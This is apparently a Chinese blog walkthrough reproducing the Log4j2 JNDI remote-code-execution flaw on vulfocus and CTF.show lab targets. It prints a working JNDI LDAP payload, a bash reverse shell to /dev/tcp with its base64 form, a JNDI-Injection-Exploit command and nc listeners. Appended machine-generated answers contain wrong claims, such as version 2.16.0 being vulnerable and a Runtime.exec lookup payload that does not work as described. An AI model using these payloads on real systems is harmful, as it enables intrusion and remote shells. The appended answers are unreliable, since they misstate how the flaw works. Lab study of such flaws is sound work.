Apache Log4j2漏洞复现

0x00 前言

作者:Moco

慢慢的距离上次写文章已过去了377天,这一年发生了好多好多的事,经历了好多好多的变故,或喜或悲、或分或合、起起落落,整整的一年了得,没怎么好好学习,没怎么认真的钻研技术,对自己表示很抱歉,违背了“白帽守则”,让我们重温一下“白帽守则”:

白帽守则第一页第一条,心中无女人,挖洞自然神。

白帽守则第一页第二条,只有不努力的白帽,没有挖不到的漏洞

对此我深表歉意、望大家以我为戒,踏踏实实的深入贯彻落实“白帽守则”,切实维护祖国网络空间安全。

0x01 漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。可能的受影响应用包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。很多互联网企业都连夜做了应急措施。截至本文发出,斗鱼、京东、网易、深信服和汽车产业安全应急响应中心皆发文表示,鉴于该漏洞影响范围比较大,业务自查及升级修复需要一定时间,暂不接收 Log4j2 相关的远程代码执行漏洞。

0x02 漏洞影响

危险等级

高危

影响版本

Apache Log4j 2.x <= 2.15

0x03 靶场环境

本次用的是vulfocus和CTF.show搭建好的环境,毕竟自己比较懒,不喜欢搭环境。

vulfocus靶场环境地址:http://vulfocus.fofa.so/#/dashboard

选择:Log4j2远程命令执行

CTF.show靶场环境地址 :https://ctf.show/challenges#Log4j复现-1730

0x04 漏洞验证与复现

启动环境

首先我们启动Log4j2远程命令执行的环境,给我们了提示了环境测试url:http://xxxxx/hello 和post参数为:payload=xxxxx。

开始测试

我们去访问vulfocus给开启的环境http://vulfocus.fofa.so:57105/hello

springboot 默认页面,大哥说他不支持get请求,根据提示,默认传参为post参数为:payload=xxxxx。

开启HackBar构造POST包

Ok了!!他ok了!!!,说明我们这个功能可以正常使用,那我们去寻找可以利用的payload,给同事要了篇文章https://www.cnblogs.com/0x200/p/15692319.html,从里面找到了利用的payload:

payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}

复现成功

输入payload,发包,稍等一分钟,dnslog就收到了回显,这是我们可以证明存在Log4j2远程命令执行漏洞。

反弹shell

我们去在寻找反弹shell的payload与利用方法

首先

准备反弹shell的命令payload

bash -i >& /dev/tcp/1x.16x.x9.1x/1235 0>&1

并将其进行base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx

然后用大哥给的工具,生成payload

工具地址:https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

运行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx}|{base64,-d}|{bash,-i}" -A "1x.16x.x9.1x "

一般我们选择第三个(JDK 没有版本的那个)payload进行攻击,服务器上开启nc监听

一波三折

由于vulfocus的环境访问的人数过多,反弹shell过慢,容易把环境卡死,故换成ctf.show的靶场进行复现,前面步骤都是一样的,不过ctf.show的不能开启动】hackbar和burp进行发包,只能通过前台登录口处进行发包请求,直接粘入payload,发包,成功反弹到shell。

输入env即可获取flag。

不忘初心

一开始是用的我Windows服务器进行反弹的,但是听我同事说windows的nc监听和Linux的不一样,当时一直以为是监听命令错了呢,最后才发现是环境有问题,使用的人太多了谈不过来了(ps此处没有打错字,就是“谈”,意思自行理解),其余步骤和上面的都一样。

附上windows监听的命令

 nc.exe -l -p 端口

再次打开ctf.show的环境成功反弹

总结与反思

世上无难事只要肯放弃!其实有很多时候我都感觉我是不是入错行,我是不是不适合干攻防渗透,一个洞,站在那么多大佬写的文章,和同事小伙伴的手把手教学,就那三四个步骤,两三条命令,我一错再错,什么忘监听端口了,什么端口没改拉,总之各种细节都把握的不够好,希望自己吧以后可以仔细仔细再仔细,无论遇到什么事情,都要去平淡的去看待他,慢慢来。

首先呢我在这遇到的第一个问题就是吧小写的‘l’,看成了大写的’I’,后面又遇到了生成dnslog打不开,特别慢的事故,后面又遇到了生成payload时Java报错说占用的情况,在同事的帮助下使用netstat -no | grep  2222查看端口,ps -ef | grep java查看Java的进程,kill -9 2422591杀掉了原来的Java进程解决的,后来用payload打的时候,还忘监听了。真的是,太不细心了。

0x05 参考文献与致谢

参考文献

Apache Log4j2 远程代码执行漏洞 - xuzhujack - 博客园

2021-log4j2漏洞复现CVE-2021-44228-反弹shell - 逆向菜狗 - 博客园

https://www.jb51.net/article/231932.htm

致谢

vulfocus 靶场:http://vulfocus.fofa.so/#/dashboard

CTF.Show靶场:https://ctf.show/challenges#Log4j复现-1730

转载请注明:Adminxe's Blog » Apache Log4j2漏洞复现

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: Apache Log4j2漏洞是一种远程代码执行漏洞,攻击者可以利用该漏洞在受影响的服务器上执行任意代码。攻击者可以通过构造特定的请求,将恶意代码注入到受影响的服务器上,从而实现远程代码执行。该漏洞已被广泛利用,需要尽快修复。建议管理员及时更新受影响的软件版本,以保护服务器安全。 ### 回答2: 近日,全球多个国家的安全研究员纷纷发现一个Apache log4j2漏洞,该漏洞编号为CVE-2021-44228,危害严重。攻击者利用该漏洞可以远程执行恶意代码,入侵服务器、系统和网络,导致极大的信息泄露和系统瘫痪风险。本文将介绍如何在实验环境中进行漏洞复现。 1.环境准备 本次复现可以采用一个简单的demo工程,也可以用一些现有的著名开源项目(如Spring、Kafka)进行复现。这里以demo工程为例。 - 操作系统:Ubuntu 18.04.5 LTS - Java环境:JDK 1.8 - 工程环境:IntelliJ IDEA + Maven 2.漏洞安装 使用Maven构建demo工程,然后在pom.xml文件中加入log4j2依赖,可以使用找公用库的方式如下: ``` <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.16.0</version> </dependency> ``` 其中 version 指定在 这一足以管理员权势时 Apache 官方才刚刚修复的漏洞小版本。 3.漏洞验证 编写一个包含漏洞的代码,如下: ``` package cn.xfakir.demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Demo { private static final Logger logger = LogManager.getLogger(Demo.class); public static void main(String[] args) { String payload = "${java.lang.Runtime.getRuntime().exec('calc.exe')}"; logger.info(payload); } } ``` 该代码使用log4j2记录日志的方式,使用 ${} 语法引用payload变量的值,当payload变量的值包含恶意命令时,该漏洞即可成功利用,这里设为calc.exe运行计算器程序。 4.利用漏洞 构建好工程之后,启动demo,如果demo的启动方式是直接运行jar包,可以使用以下命令启动: ``` java -jar Demo-1.0-SNAPSHOT.jar ``` 在控制台看到 INFO 模式下的 ${java.lang.Runtime.getRuntime().exec('calc.exe')} 日志输出,则漏洞被成功利用。 5.修复漏洞 Apache官方已经发布了漏洞修复的版本,建议使用最新版本或对应的补丁,详见官方发布的修复安全公告。除此之外,也可以临时关闭log4j2的服务,防止被攻击。 以上是本文关于apache log4j2漏洞复现的介绍,漏洞的修复和预防对于互联网安全至关重要,希望大家及时更新代码和环境,确保系统网络的安全。 ### 回答3: Apache log4j2是一种流行的Java日志框架,它可以通过配置和代码记录日志。但是,最近发现了一个名为CVE-2021-44228的漏洞,攻击者可以利用该漏洞log4j2中执行任意代码,这是一种非常危险的攻击。 要复现这个漏洞,我们需要遵循以下步骤: 步骤1:下载log4j2的jar文件。可以从log4j官方网站或maven仓库上下载。 步骤2:使用PayloadsAllTheThings项目中提供的一些有效负载对log4j2进行测试。这些有效负载在此处提供https://github.com/cyberheartmi9/CVE-2021-44228。 步骤3:将有效负载复制到代码中。 步骤4:编写一个Java应用程序,用于建立与log4j2之间的连接,并执行有效负载。建议使用MinimalLocking.java,这个java应用程序将在本地服务器上启动log4j2。 步骤5:编译和运行您的Java应用程序。 步骤6:通过TCP端口和JMX控制台,发送构造的payload来攻击log4j2。 在实际操作中,攻击者可能会使用更高级的方法,例如尝试使用日志记录的数据来执行代码。例如,在Java虚拟机中注入Java类,然后在日志输出中使用类的实例。这种方法可能需要攻击者具备更深层次的Java知识。 为了保证系统的安全,建议及时升级log4j2到最新版本,并关注官方通告以了解有关漏洞的最新信息。同时,对于企业用户,建议强化安全性措施,对服务器进行监控和维护,以便及时发现和应对安全漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Adminxe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值